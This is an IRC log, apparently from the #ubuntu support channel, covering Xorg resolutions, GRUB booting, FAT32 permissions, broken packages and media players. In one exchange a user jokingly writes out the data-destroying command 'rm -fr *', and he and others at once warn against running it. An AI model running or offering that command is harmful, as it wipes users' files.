[12:00] <Kr4t05> O.o
[12:00] <Kr4t05> Ack
[12:00] <wick2o3> hello
[12:00] <cjmguitar> i partitioned 4 partitions on a 300 g
[12:00] <wick2o3> i have modifyed my /etc/X11/xorg.conf....ive added some more "modes" in each of the subsection "display"'s
[12:00] <mar1us> it's because your text is all _ up in this operating system..
[12:00] <mar1us> l1l1l1l1
[12:00] <wick2o3> yet i sitll only get one in the "Screen res selector"
[12:00] <cjmguitar> 1 efx3 /root 1 efx3 /home 1 swap and 1 ntfs and the end of the drive for windows
[12:01] <aeolist> marlus, behave
[12:01] <Kr4t05> !nvidia
[12:01] <ubotu> [nvidia]  at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia or http://ubuntuforums.org/showthread.php?t=57368
[12:01] <wick2o3> any suggestions? ive already googled my problem
[12:01] <mar1us> ok, I'll get outta here.. and back into safe fuzzy windows
[12:01] <anakronis> mar1us: bon voyage
[12:01] <IdleOne> Kr4t05>  sudo apt-get -f install to fix broken packages
[12:01] <aeolist> wick2o3, can you post it on pastebin? have you installed the nvidia/ati drivers? have you typed in the monitor's frequencies
[12:01] <mar1us> *warm fuzzy feeling windows..*
[12:01] <fiveiron> anyone?
[12:01] <frank23> !tell wick2o3 about fixres
[12:02] <aeolist> marlus, it's you who's the loser here
[12:02] <fiveiron> any idea why i might not be able to chmod on a mounted drive that is mounted rw
[12:02] <fluxt> cjmguitar, where did you put the / partition?
[12:02] <aeolist> see if we care
[12:02] <mar1us> I know..
[12:02] <wick2o3> thank you frank23
[12:02] <cjmguitar> fluxt: when i installed grub into my MBR it did nothing when i rebooted do you know why?
[12:02] <mar1us> good nite winners...
[12:02] <cjmguitar> it ran the NTLDR and only allowed boot to windows
[12:02] <fluxt> cjmguitar, the only thing that comes to mind is wrong drive
[12:03] <aeolist> now marlus is going to his windows friends and tell the that linux users are snobs
[12:03] <bjornkri> well.
[12:03] <bjornkri> they are
[12:03] <bjornkri> uh. we are
[12:03] <cjmguitar> in the install it specifically asked if i wanted to install grub to the mbr of my first partition on my irst drive
[12:03] <nickrud> bjornkri: speak for yourself
[12:03] <fluxt> cjmguitar, to see if it's on another drive you could try booting from the other drives first
[12:03] <anakronis> cjmguitar: set up your bios to read the first disk first?
[12:03] <cjmguitar> ok
[12:03] <cjmguitar> ill try
[12:03] <Kr4t05> Eek.
[12:04] <fluxt> bye bye sucker! :p
[12:04] <bjornkri> yeah yeah, didn't mean it. Just felt like the appropriate thing to say
[12:04] <fluxt> hehehe
[12:04] !lilo:*! Un utilisateur est en train de demander  tout le monde de joindre #bashfr. Il n'est pas affili  ce channel, dont le groupe (bash.fr) est en train de monter une organisation  but non lucratif et de bouger sur son propre serveur. Veuillez nous faire savoir si vous voyez ce spammeur, et rappelez-vous que ce qu'il fait n'a pas l'aval des gens de bash.fr. Merci.
[12:04] !lilo:*! A user is wandering around spamming people to join #bashfr. He's not associated with the channel, whose group (bash.fr) is in the process of setting up a not-for-profit org and moving to their own server. Please let us know if you see the spammer, and be aware that his activities are unsanctioned by the bash.fr people. Thanks.
[12:04] <rukuartic> Anyone know how to change a prog's nicevalue after its been executed?
[12:04] <OmegaAlpha> anyone use NICOTINE for their P2P?
[12:04] <fluxt> rukuartic, renice
[12:05] <nickrud> bjornkri: well, <bjornkri> they are is not so far off, in practice :)
[12:05] <rukuartic> renice, thanks fluxt
[12:05] <fluxt> npz
[12:05] <erUSUL> rukuartic, man nice
[12:05] <Kr4t05> I guess Dapper just won
[12:05] <erUSUL> rukuartic, man renice
[12:05] <Kr4t05> won't do it*
[12:05] <bjornkri> hehehe
[12:05] <Kr4t05> I knew I should have waited.
[12:05] <bjornkri> I mean, sure, there may be one or two of them
[12:05] <Kr4t05> :/
[12:05] <servjew_> ive used nicotine for p2p, it worked okay.
[12:05] <_cato> any gamers here? I have a strange problem with ut99: it seems to run to fast and with unregular speed
[12:06] <servjew_> will surely use it again :)
[12:06] <rukuartic> erUSUL: Thanks :)
[12:06] <Kr4t05> The following packages have unmet dependencies:
[12:06] <Kr4t05>   nvidia-glx: Depends: xserver-common (>= 4.0.3) but it is not going to be installed
[12:06] <majd> hey, i'm following the http://www.tectonic.co.za/view.php?id=916 tutorial and i'm trying to install compiz (through synaptic) now as it was applying the changes, it gave me a message when it was "preparing for removal of linux-image-2.6.12-10-386" and it's asking me if i'm sure....am i?
[12:06] <OmegaAlpha> servjew_, you think its just okay thought? have you used something better? the reason why im asking is im using amule and its slow and hard to find what im looking for
[12:07] <fluxt> majd, gee don't think si
[12:07] <OmegaAlpha> servjew_, i d/led nicotine cause someoen recommended it in here and i guess I need GTK and Python installed before i can use it? is that true?
[12:07] <IdleOne> majd>  join #ubuntu+1 for help with Dapper :) and pie !
[12:07] <lupz> is there
[12:07] <lupz> a command line utility
[12:07] <lupz> to show desktop notifications ?
[12:07] <servjew_> OmegaAlpha: personally, for music files, i think its the best (nicotine) as far as things needed to run it, i dont know, i just installed it and it worked
[12:08] <IdleOne> !tell lupz  about enter
[12:08] <majd> ummm...i pressed something when i was copying the message it gave me and it just got done applying the changes...it left me "E: linux-image-2.6.12-10-386: subprocess pre-removal script killed by signal (Interrupt)
[12:08] <majd> "
[12:08] <OmegaAlpha> servjew_, oh how about video files?
[12:08] <lupz> IdleOne: ok but for the utility ?
[12:08] <powder> majd, uh oh :(
[12:08] <p01n7> OmegaAlpha, even if python is not needed.. and oyu don't have it installed... INSTALL IT!
[12:08] <servjew_> OmegaAlpha, never had much luck with those on nicotine
[12:08] <nickrud> majd: the only time I ever saw that was when I hit ctl-c during an update
[12:08] <IdleOne> lupz>  utility to do what?
[12:09] <nickrud> *upgrade
[12:09] <fluxt> majd, ? just to be sure, i'd check synaptic to see the package is installed, if not install it again
[12:09] <p01n7> OmegaAlpha, whats up, btw
[12:09] <fluxt> majd, the linux kernel image that is
[12:09] <lupz> IdleOne: to show desktop notifications. i know exists a gnome-notify but i can't find it for ubuntu
[12:09] <OmegaAlpha> p01n7, whats good about having Python installed? i remember when using fluxbox that it was installed by default but i never used it
[12:09] <servjew_> ok, i dont get it, ive went to my sources.list, uncommented all the repositories, updated, upgraded, did the gnome updates, still no mplayer of any sort exept the mozilla plugin
[12:09] <OmegaAlpha> p01n7, whats up brother.. oh just working on the ol box.. and watching my Stargate show
[12:10] <IdleOne> lupz>  I have no idea how that would be done from terminal sorry :/
[12:10] <nickrud> servjew_: if you'd paste bin your /etc/apt/sources.list, I'll take a look
[12:10] <p01n7> OmegaAlpha, It's a great programming/scripting language.
[12:10] <fiveiron> any idea why i might not be able to chmod on a mounted drive that is mounted rw
[12:10] <OmegaAlpha> p01n7, yes one that i need to learn lol
[12:10] <majd> fluxt, it shows up as "marked for removal" in synaptic
[12:10] <majd> and the compiz packages show up as "marked for install"
[12:10] <nickrud> fiveiron: if it's a native linux partition, do you have permissions for that?
[12:10] <majd> so i'm supposing nothing happened
[12:11] <p01n7> OmegaAlpha, It's easy. Just ahve it ready for when you are ready
[12:11] <fiveiron> nickrud: its actually a fat32 partition
[12:11] <fluxt> majd, did you quit synaptic and reload it?
[12:11] <fluxt> majd, do this if not
[12:11] <fiveiron> nickrud: it is writeable only by root it seems though
[12:11] <nickrud> fiveiron: then you cannot change individual permissions, fat doesn't support that
[12:11] <majd> ok
[12:11] <OmegaAlpha> p01n7, oh i guess i already have it.. python2.4... didnt even know .. its not listed in my damn GUI menu
[12:11] <fiveiron> hrmrmrm
[12:11] <fiveiron> guess I'll just format this thing with msdos
[12:11] <fiveiron> :P
[12:11] <nickrud> fiveiron: see !mountwindows, there's some changes you can make to your /etc/fstab to allow anyone to write to the partition
[12:11] <nickrud> !mountwindows
[12:11] <ubotu> Download and run http://www.ubuntulinux.nl/files/diskmounter to make your windows or mac partitions mount automatically.  If you wish to set it up yourself by hand, read: https://wiki.ubuntu.com/AutomaticallyMountMSWindowsPartitions
[12:12] <fiveiron> oh
[12:12] <p01n7> OmegaAlpha, "which python" would hav elet you know if it's installed or not
[12:12] <OmegaAlpha> do i have to make some kind of script to get programs to appear in the menu if they arent appearing.. and arent in the "add applications" program
[12:12] <fluxt> majd, i guess you could install your compiz package and if it does remove the kernel image you can (must) reinstall it
[12:12] <fiveiron> nickrud: thanks!
[12:12] <Kr4t05> frank23: The following packages have unmet dependencies: nvidia-glx: Depends: xserver-common (>= 4.0.3) but it is not going to be installed
[12:12] <nickrud> fiveiron: yw
[12:12] <fluxt> !mountvax
[12:12] <ubotu> Did you get hit by a windmill? Try searching at http://ubuntu.cc.com.au/, fluxt
[12:12] <mar1us> wonderful! The opera is up and running! Thanks for all help, and sorry for getting so bitchy
[12:12] <OmegaAlpha> p01n7, yeah i just tred installing python2.4 since i guess its the latest and i already had it..
[12:12] <servjew_> nickrud: ive put it up at http://noncompos.servebeer.com/sources.list
[12:13] <nickrud> smrf, vax
[12:13] <fluxt> vms even
[12:13] <richard> i use komba2 to see share files in the sub network 192.168.2.*, how can i see other sub networks like 192.168.0.*
[12:13] <p01n7> OmegaAlpha, i may be installing ubuntu again
[12:13] <powder> marlus, lol welcome back
[12:13] <mar1us> thank you
[12:13] <nickrud> servjew_: lines 19 & 20, add multiverse to the end, that will give you access to mplayer
[12:14] <servjew_> ah! thanks! :)
[12:14] <p01n7> OmegaAlpha, Mandrivia doesn't have the "open" feeling i like about debian any longer
[12:14] <mar1us> I'll try to behave now.. didn't know about that dpkg thing..
[12:14] <OmegaAlpha> p01n7, oh with python you progam in terminal? not a fancy gui?
[12:14] <p2p2> hello, are there any p2p tv clients that works under linux? something like tvkoo for windows
[12:14] <cafuego> a fancy gui just slows the machine down
[12:14] <OmegaAlpha> p01n7, oh really? well good toh ear.. now i can bother you more with problems i have once you get in installed lol
[12:14] <frank23> Kr4t05: maybe dapper is not consistent right now
[12:14] <p01n7> OmegaAlpha, Depends.. i use IDLE which is like a Python Shell.. then theres Eric.. which is a IDE
[12:14] <fluxt> !tell p2p2 about p2p
[12:15] <nickrud> a fancy gui makes a machine usable
[12:15] <Kr4t05> Alright.
[12:15] <Kr4t05> Does anyone know how to reverse an upgrade?
[12:15] <jke> dapper didn't like my network cards, at least...
[12:15] <OmegaAlpha> well once i learn the language the terminal will do.. im so used to the programming environment likes Borlands and Microsofts visual ones
[12:15] <kill_switch> s!
[12:15] <p2p2> fluxt i know about p2p downloading programs and such, im looking for a p2p-TV client tho
[12:15] <p01n7> OmegaAlpha, i may just have questions for you once i go back lol
[12:16] <p01n7> OmegaAlpha, Then you will like IDLE
[12:16] <Polypterus> Hi. I can't log into CUPS in Ubuntu. I use "root" and its password. Is there a special way to log into CUPS with Ubuntu?
[12:16] <mikeazorin> Fixed My Hardrive
[12:16] <fluxt> p2p2, Should it run on PAL or SECAM televisions?
[12:16] <frank23> Kr4t05: you mean back to breezy or for a specific package?
[12:16] <p01n7> You probbaly alreayd have it installed
[12:16] <p2p2> fluxt pal
[12:16] <OmegaAlpha> p01n7, hehe  hopefully i could help you.. ive learned alot.. I finally got my VNC working which is awesome! now im gooing to learn the ssh stuff and tunneling
[12:16] <p2p2> or wel as long as it runs on the pc itself it doesnt matter fluxt
[12:17] <fluxt> p2p2, well PAL televisions come with inbuilt elf compatibility so you're set
[12:17] <OmegaAlpha> p01n7, IDLE... does it take up alot of space?
[12:17] <p2p2> fluxt, i think we are taslkinga bout two different things here
[12:17] <p01n7> OmegaAlpha, no.
[12:17] <nickrud> Polypterus: to use the web interface: sudo adduser cupsys shadow && sudo invoke-rc.d cupsys restart
[12:17] <richard> how can i scan my windows network?
[12:18] <stewski> how is beagle running under dapper?
[12:18] <Kr4t05> frank23: Back to Breezy.
[12:18] <p2p2> im looking for a program, a client program, like tvkoo.exe for windows. that allows me to view tv streams streamed via p2p  .. not like downloadng via emule or bittorrent etc
[12:18] <OmegaAlpha> p01n7, cool ill get it now... my problem is right now.. i can never think of anything to program... like programming in school was easy. they told us what to program hah. i cant think independently on what i want to do with it... i still need to learn to think with it and linux
[12:19] <Polypterus> nickrud: thank you very much mate!
[12:19] <mikeazorin> the package that was installing while my hard drive errored is perl-modules, and now it's clogging up apt-get and dpkg. removing perl-modules removes a huge amount of apps, many which look neccassary. what do i do?
[12:19] <frank23> Kr4t05: I don't know how exactly. It's not easy anyways. This is why there are warnings about upgrading to dapper before release. If you wait a few days, maybe it will work again though in dapepr
[12:19] <p01n7> OmegaAlpha, You iwll always find something.. wether it be taking a a string containing a directory and file and stripping the file.. or building your own chat-like program.. just for fun when your bored
[12:19] <nickrud> OmegaAlpha: take a look around sourceforge.net, there's lots of projects that can use some help
[12:19] <Kr4t05> frank23. Ok.
[12:19] <fluxt> p2p2, have you tried wine?
[12:19] <fluxt> ubotu, tell p2p2 about wine
[12:19] <p2p2> yes
[12:19] <p2p2> ive tried wine
[12:19] <fluxt> oh
[12:19] <p2p2> and cedega
[12:20] <p2p2> program crashes and burns under both
[12:20] <Blippe> p2p2, peercast?
[12:20] <nickrud> Polypterus: one of the first things I researched about ubuntu :)
[12:20] <p2p2> peercast is a SERVER software ... not for viewinv afaik
[12:20] <majd> hmm....synaptic is having problems with the backports.org repo
[12:20] <p2p2> errr i meant blippe
[12:20] <Polypterus> nickrud: by the way, do you know why the canon ip1500 driver isn't working for canon mp110 in ubuntu?
[12:21] <OmegaAlpha> p01n7, yeah i tried thinking of stuff back in the days.. the only thing i made was an easy program for my highschool that allows you to enter students information like name addy classes etc lol after that i made a shitty hangman game
[12:21] <OmegaAlpha> nickrud, thanks for the link
[12:21] <nickrud> Polypterus: not a clue, I only buy hp
[12:21] <Polypterus> nickrud: I know it's probably a long shot, but no harm in asking
[12:21] <Polypterus> nickrud: ok no worries
[12:21] <OmegaAlpha> p01n7, a chat program.. hmm sounds interesting.
[12:21] <nickrud> Polypterus: try looking at linuxprinting.org, they are usually pretty up to date
[12:21] <p01n7> OmegaAlpha, indeed.. maybe once you learn python we can do one together
[12:22] <p01n7> OmegaAlpha, or an IRC client
[12:22] <p01n7> OmegaAlpha, or anything
[12:22] <OmegaAlpha> p01n7, itll be nice to write a program that puts all the software downloaded on Gnome's menu... liek the ones i downloaded arent appearing lol like games and what not only certain programs appear
[12:22] <_sHaDe> n8 all
[12:22] <richard>  i use komba2 to see share files in the sub network 192.168.2.*, how can i see other sub networks like 192.168.0.*
[12:22] <Stormx2> majd: What problems?
[12:22] <powder> OmegaAlpha, the Debian menu does that :)
[12:23] <nickrud> OmegaAlpha: I gotta secret: sudo aptitude install menu-xdg && killall gnome-panel   It's amazing what shows up under Applications
[12:23] <everton137> Hi, can someone help me with this text, about open a port for webcam? What does it mean open your router web-based configuration? Her is text: http://amsn.sourceforge.net/wiki/tiki-index.php?page=Webcam+In+aMSN#firewalled
[12:23] <OmegaAlpha> nickrud, what does that exactly do? im installing it now
[12:23] <majd> Stormx2, when i first load synaptic, i get this: You have 1 broken package on your system!
[12:23] <majd> Use the "Broken" filter to locate it. Then when i press ok, i get this: W: Couldn't stat source package list http://www.backports.org stable/ucf Packages (/var/lib/apt/lists/www.backports.org_debian_dists_stable_ucf_binary-i386_Packages) - stat (2 No such file or directory)
[12:23] <nickrud> OmegaAlpha: it creates a
[12:24] <majd> btw, i can't find the broken package :(
[12:24] <p01n7> OmegaAlpha, i would think it searches $PATH for unlisted apps in the menu.. then adds them
[12:24] <Stormx2> majd: Was it working before?
[12:24] <nickrud> 'Debian' submenu, which has everything in the main menus, plus almost everything that isn't
[12:24] <mar1us> but.. how does one install non-deb installation files, like bin or exe files?
[12:24] <majd> Stormx2, up until i tried to install compiz....yeah
[12:24] <OmegaAlpha> sure takes a while to installl ol
[12:24] <caglar>  is it possible to use pc-to-phone with ekiga using another provider?
[12:24] <nickrud> p01n7: no, it adds stuff that have legacy debian menu definitions
[12:24] <OmegaAlpha> shit
[12:24] <erUSUL> mar1us, you do not
[12:24] <OmegaAlpha> something is wrong
[12:24] <trent> What is a good media player on gnome that isn't crappy like totem?
[12:24] <mar1us> oh..
[12:24] <OmegaAlpha> my panels dissappeared
[12:25] <fluxt> richard, netmask
[12:25] <nickrud> OmegaAlpha: they'll be back
[12:25] <trent> Something nice, solid, navigatable, and decent.
[12:25] <Stormx2> majd: Go post your sources.list on paste.ubuntulinux.nl, it may be that or the repo may just be down
[12:25] <p01n7> nickrud, that was just off the top of my head
[12:25] <OmegaAlpha> oh their they are.. the lil buggers
[12:25] <davidk> why is there no xorg.conf manpage in dapper? (or which package have I failed to install?)
[12:25] <nickrud> p01n7: :)
[12:25] <jke> How would you move some 10 giga data between 2 computers? they are on the same lan. The will be running the livecd version of breezy, the other is running gentoo, can't remember if it have ane graphical installed... fps, shh or?
[12:25] <powder> trent, there aren't any ;)
[12:25] <OmegaAlpha> i was like code red! code red!
[12:25] <mar1us> is there no installationprogram that can help me?
[12:25] <trent> powder, There has to be..
[12:25] <trent> Lol
[12:25] <trent> ok not gnome in general but will work for gnome.
[12:25] <nickrud> trent: I use xine-ui for dvd's & the like, very workmanlike
[12:25] <richard> fluxt: netmask is a command?
[12:26] <fluxt> no
[12:26] <Stormx2> trent: Audacious is a brilliant media player for gnome
[12:26] <powder> trent, personally i am using xmms for audio and vlc for video
[12:26] <nickrud> OmegaAlpha: killall should have been a clue , lol
[12:26] <OmegaAlpha> nickrud, wow thisi s awesome
[12:26] <fluxt> richard, there is some way in gnome i'm sure to edit the network mask of your network config
[12:26] <p01n7> rm -fr * is a command?
[12:26] <Stormx2> trent: Audacious is a continuation of the BMP project, which is basicly XMMS + Modern-ness (XMMS is old as hell)
[12:26] <p01n7> dont do that people
[12:26] <trent> because totem isn't doing it for me, has anyone had that problem?
[12:26] <majd> Stormx2, how do i load up sources.list? i'm in /etc/apt/
[12:26] <rukuartic> Anyone have links on how to get a Virgin Pulse mp3 player working in linux? Or just any tutorials in general?
[12:26] <OmegaAlpha> nickrud, yeah i seen that i was like hmm whats goin to happen
[12:26] <Stormx2> p01n7: Not one that I would recommend
[12:26] <nickrud> p01n7: yeah, one we don't mention on a channel a newbie might see
[12:27] <fluxt> p01n7, seems it is a command
[12:27] <powder> yes, I would be using Audacious too if there was a working wavpack plugin :(
[12:27] <p01n7> thought about it.. after i said it "think before you speak" i guess
[12:27] <Stormx2> majd: gedit sources.list? (if your in terminal)
[12:27] <p01n7> fluxt, lol
[12:27] <OmegaAlpha> BRB phone call
[12:27] <trent> Stormx2, Do you know where I can find a download for Audacious?
[12:28] <majd> Stormx2, http://paste.ubuntu-nl.org/10312
[12:28] <fluxt> richard, change your netork mask to 255.255.0.0 or something
[12:28] <erUSUL> jke, with nc in receiving side 'nc -l -p 1234 | tar xvzfp -' in sending side  'tar czfp - /some/dir | nc -w 3 othermachine 1234'
[12:28] <nickrud> trent: plain old totem sucks ; try totem-xine , mplayer , and xine-ui See !restricted for more info on that
[12:28] <fluxt> i'm so slow
[12:28] <nickrud> !restricted
[12:28] <ubotu> restricted is, like, https://wiki.ubuntu.com/RestrictedFormats  Most of the formats listed here can be replaced by !FreeFormats
[12:28] <fluxt> i shouldn't be doing this today
[12:28] <wick2o3> thank god for vplayer being free...man i love those guys :)
[12:28] <richard> fluxt: in this network every ips use the same netmask
[12:28] <jke> erUSUL, can i use nc from the liveCD?
[12:29] <jke> (its the sending machine running from the liveCD)
[12:29] <fluxt> richard, well if you can't see the other pcs, i'm guessing its the mask
[12:29] <mar1us> ied: http://ftp.x.org/pub/X11R7.0/doc/html/manindex4.html
[12:29] <mar1us> jfried opera is very cool ;-)
[12:29] <mar1us> k31th wtf this ubuntu install is wacky
[12:29] <mar1us> cjmguitar I installed Ubuntu and booted it with LILO it runs through the boot process and then comes to mount:mounting /root/dev on /dev/.static/dev failed: no such file or directory. then I get nothing Help plz.
[12:29] <mar1us> k31th it wont load amarok for a stART
[12:29] <mar1us> cjmguitar I installed Ubuntu and booted it with LILO it runs through the boot process and then comes to mount:mounting /root/dev on /dev/.static/dev failed: no such file or directory. then I get nothing Help plz.
[12:29] <mikeazorin> i changed all my sources.list from breezy to dapper, and now i think it's reinstalling EVERY package. i keep things up to date, are there just a lot of changes?
[12:29] <mar1us> nickrud Phoul: can you paste the contents of /var/log/Xorg.0.log to a pastebin?
[12:29] <mar1us> cjmguitar I installed Ubuntu and booted it with LILO it runs through the boot process and then comes to mount:mounting /root/dev on /dev/.static/dev failed: no such file or directory. then I get nothing Help plz.
[12:29] <erUSUL> jke, yes afaik
[12:29] <mar1us> Phoul no...
[12:29] <mar1us> fluxt cjmguitar, don't spam
[12:29] <mar1us> jfried PuMpErNiCkLe, well i tried it with i810 but it does not work...
[12:29] <mar1us> Phoul Im in bash -_-
[12:29] <mar1us> PuMpErNiCkLe jfried: k, I'll keep looking
[12:29] <mar1us> cjmguitar well can someone plz help me since i cant get tech support anywhere else for ubuntu
[12:29] <mar1us> * Bigredman74 has quit (Client Quit)
[12:29] <erUSUL> mar1us, do not paste please
[12:29] <mar1us> * narg (n=narg@dsl-63-173-190-179.tcq.net) has joined #ubuntu
[12:29] <mar1us> mar1us aerolist;
[12:29] <mar1us> oops
[12:29] <mar1us> sorry..
[12:29] <mar1us> I get an error when starting opera
[12:29] <powder> marlus what are u doing
[12:29] <nickrud> !ops
[12:29] <ubotu> Help! lilo, fabbione, lamont, Keybuk, jdub, mdz, Amaranth, tritium, ajmitch, crimsun, ogra, CarlK, Seveas, Burgundavia, apokryphos, thoreauputic, nalioth, Madpilot, ompaul, rob or Hobbsee
[12:29] <k31th> mar1us:  wat ?
[12:29] <richard> fluxt: ok, i use kubuntu-desktop,,, how can i change this parameter?
[12:30] <nickrud> never mind
[12:30] <narg> mar1us: ?
[12:30] <nickrud> sorry
[12:30] <stewski> anyone know how to get deskbar to do all that http://www.gnome.org/~davyd/gnome-2-14/
[12:30] <nalioth> ubotu: tell mar1us about paste
[12:30] <fluxt> richard, i'm not sure have a look around, it'd be there somewhere
[12:30] <stewski> Ive installed beagle how do you link it to deskbar
[12:30] <rukuartic> Anyone have any ideas on getting MP3 players (hardware) to work on linux?
[12:30] <nickrud> that just seemed too abusive to be an accident, sorry
[12:31] <fluxt> !network
[12:31] <ubotu> This refers to a group of interconnected computers. The computers must be capable of transferring data to form a true network--you can't just weld a bunch of computers together.
[12:31] <fluxt> hmm
[12:32] <jae_> how do i update clamav?
[12:32] <phrowzen> hey
[12:32] <marky> Hi All
[12:32] <Blippe> how do i force a new ip number from dhcp as client?
[12:32] <rambo3> just block you old ip
[12:32] <phrowzen> does anyone know why the 'w' or 'who' commands are not showing me logged in users? (besides myself at TTY :0)
[12:32] <rukuartic> phrowzen: You're the only logged in user? :P
[12:33] <Xen> hello. im trying to set up wordpress and mysql. when i try to access mysql this is what happens: "sudo mysql
[12:33] <Xen> ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)
[12:33] <Xen> " there is no such file in my mysqld directory... where do i point it to?
[12:33] <jae_> how do i update clamav?
[12:33] <Jemt> Greetz. I move files around a lot - both as my self and as root. Unfortunately this means that alot of my files has been marked as executables, owned by root or similar. How can I "clear" the files som that every user on my system can use them and make them non-executable? I was thinking of a command I could run on every single file on my system (without the risk of damaging them, please)
[12:33] <phrowzen> rukuartic, nah a friend logged in and it didnt show it, or if i ssh out, and then ssh back in from the remote host, it still doesnt show it
[12:33] <rukuartic> phrowzen: Lemme look for a sec...
[12:34] <phrowzen> thanks.
[12:34] <nickrud> Jemt: that is not very possible, you're gonna have to be more specific about locations
[12:34] <jke> hmm, my 2200BG wlan card dosn't get detected. The module "ipw2200" provides support for it - i have modprobet the module, but what should i do now?
[12:34] <marky> I was wondering whats the best game availible from the repositorts?
[12:34] <fluxt> Blippe, usually you can do this by changing your mac address then ifdown ifup
[12:34] <nickrud> marky: nethack for the hardcore
[12:34] <Jemt> nickrud: About locations? My harddisk drive :)
[12:34] <marky> nickrud  ,is it a graphical game?
[12:35] <fluxt> Blippe, googe linux "change mac address"
[12:35] <jke> marky: tint, xlife :)
[12:35] <nickrud> marky: I liked sabre
[12:35] <rambo3> change mac adress?
[12:35] <rukuartic> phrowzen: try who -a, or run as sudo... I guess. Might look for more help :p[
[12:35] <erUSUL> jke, configure it
[12:35] <fluxt> no address
[12:35] <LethalSword> !tell LethalSword about rpm
[12:35] <nickrud> Jemt: locations in the file system. You do NOT want to mess with /usr, /lib, /bin , /var, and other things
[12:35] <marky> sabre
[12:36] <majd> compiz/xgl doesn't work on breezy right?
[12:36] <marky> nickrud thanks  , i'll have a look
[12:36] <LethalSword> how do you install rpm files on ubuntu?
[12:36] <rambo3> you dont have to change anything just look for dhclient.conf
[12:36] <phrowzen> hmm.. kay
[12:36] <Jemt> nickrud: Ah, IC. Well, it's all located in /media/hda4 (a FAT32 partition)
[12:36] <fluxt> majd, i've heard xgl doesn't
[12:36] <fluxt> nfi what compiz is
[12:36] <majd> dangit....what a waste of time
[12:36] <majd> i guess i'llsettle for something else
[12:36] <majd> i need to make ubuntu look good.....
[12:37] <LethalSword> can anybody help me
[12:37] <fluxt> majd, fluxbox
[12:37] <Munkie2> i cant get ubuntu to even start to boot of the cd >.<   anybody mind helping me?
[12:37] <nickrud> Jemt: then, you cannot control permissions on a fat. That's easy :)
[12:37] <jke> erUSUL: it doesn't show up i network settings :S
[12:37] <marky> munkie2 make sure youo bios is e
[12:37] <marky> set
[12:37] <Kelsey23> LOL
[12:37] <Blippe> majd, you need dapper for compiz support
[12:37] <LethalSword> HOW DO I INSTALL FROM .RPMG FILES?!!!!!!!!!!
[12:37] <fluxt> Munkie2, change the boot priority to cd first in the bios perhaps
[12:37] <mikeazorin> sudo apt-get upgrade... *Starting PCMCIA services... and now the computer's completely dead. i don't have a pcmcia card.
[12:37] <LethalSword> .RPM*
[12:37] <erUSUL> LethalSword, only if you must with alien
[12:37] <Kelsey23> LethalSword: Chill out
[12:37] <jke> erUSUL;
[12:37] <nickrud> Jemt: the only way you can control permissions on a fat is when it's mounted, see !mountwindows
[12:37] <Munkie2> already boots from the cd
[12:37] <nickrud> !mountwindows
[12:37] <ubotu> Download and run http://www.ubuntulinux.nl/files/diskmounter to make your windows or mac partitions mount automatically.  If you wish to set it up yourself by hand, read: https://wiki.ubuntu.com/AutomaticallyMountMSWindowsPartitions
[12:37] <Blippe> LethalSword, no screaming... and look up alien it transforms to .debs
[12:38] <erUSUL> jke, try ifconfig -a
[12:38] <LethalSword> ok
[12:38] <LethalSword> :P
[12:38] <Jemt> nickrud: It's already mounted
[12:38] <Munkie2> usually it shows "boot from cd:   "   stalls a few seconds and then boots windows as normal
[12:38] <fluxt> Munkie2, then you have no problem ?
[12:38] <AltNick> does anybody know if there is an easy way of exporting a sunbird calendar in windows and importing it into sunbird under linux?
[12:38] <nazgulwalker> how can i install bin files?
[12:38] <Kelsey23> Sorry everyone for referring LethalSword to this place
[12:38] <marky> lol
[12:38] <powder> lol
[12:38] <kbrooks> LethalSword, you dont.
[12:38] <Jemt> nickrud: How should I be able to move files to the partition if it wasn't mounted? ;)
[12:38] <fluxt> Munkie2, are you saying your cd is stuffed or incompatible?
[12:38] <kbrooks> LethalSword, DONOT USE alien AT  QALL. period.
[12:39] <croc_> Hello, would i be frowned upon for asking a question about compiling with gcc on a normal ubuntu installation version 5.10.
[12:39] <Kelsey23> I suppose thats what happen when 12 year olds get spyware and try linux :-/
[12:39] <rukuartic> croc_: Nope :P
[12:39] <nazgulwalker> how can i install bin files?
[12:39] <phrowzen> rukuartic, im thinking maybe utmp is broken or something? can i reset that or something
[12:39] <kbrooks> when i say "don't use alien at all", well, i mean what i say.
[12:39] <nickrud> Jemt: no, I though you were talking about controlling permissions of files read that link, it'll put us on the same footing when we talk
[12:39] <marky> lmao
[12:39] <rukuartic> nazgulwalker: bash ./yourfile.bin
[12:39] <LethalSword> kbrooks why not?
[12:39] <Munkie2> not a clue what you mean by stuffed : /
[12:39] <nazgulwalker> thanks.
[12:39] <rukuartic> phrowzen: Imma linux nub mate, just thought of a few suggestions
[12:39] <Jemt> nickrud: Checking it out
[12:39] <phrowzen> oh ok
[12:39] <croc_> Well, it doesnt work :0 the configure error is "compiler does not create executibles."
[12:39] <kbrooks> LethalSword, just because. you don't want to know why.
[12:39] <Jemt> !mountwindows
[12:39] <ubotu> Download and run http://www.ubuntulinux.nl/files/diskmounter to make your windows or mac partitions mount automatically.  If you wish to set it up yourself by hand, read: https://wiki.ubuntu.com/AutomaticallyMountMSWindowsPartitions
[12:40] <trent> totem-xine worked good.  I couldn't get mplayer working on .ogg so I think totem xine is fine.
[12:40] <LethalSword> umm
[12:40] <LethalSword> how do i install limewire then
[12:40] <LethalSword> cuz its a .rpm
[12:40] <marky> anyone found anygood bluetooth tools etc sniffers etc
[12:40] <kbrooks> LethalSword, easy:
[12:40] <rukuartic> sudo apt-get install limewire?
[12:40] <kbrooks> !limewire
[12:40] <ubotu> first you need !java, then download the http://www.limewire.com/LimeWireSoftOther and unpack it. Then just run the runLime.sh file. Voila. Consider !frostwire as an alternative.
[12:40] <Kelsey23> ROFL
[12:40] <Kelsey23> PWNT
[12:40] <jke> erUSUL: shows a lo and a "sit0" which i suppose must be my wireless card... but I cant fin a way to configure it... should i try to rename my eth1 to sit0 in /etc/init.d/interfaces=
[12:40] <kbrooks> rukuartic, see above ^
[12:40] <kbrooks> Kelsey23, pwnt?
[12:40] <LethalSword> i didnt know u had to run the .sh
[12:40] <Kelsey23> ...
[12:41] <marky> lmao
[12:41] <kbrooks> LethalSword, read the factoid fully
[12:41] <kbrooks> LethalSword, you dont understand it.
[12:41] <Munkie2> fluxt, it usually says "booting from cd:   " or something along those lines then it boots from windows(the wierd thing is when i put my slackware disk in the slackware setup starts up fine)
[12:41] <LethalSword> i understand now
[12:41] <erUSUL> jke, sit0 is not your card is a ipv5 virtual device. are you sure that the modprobe succeed?
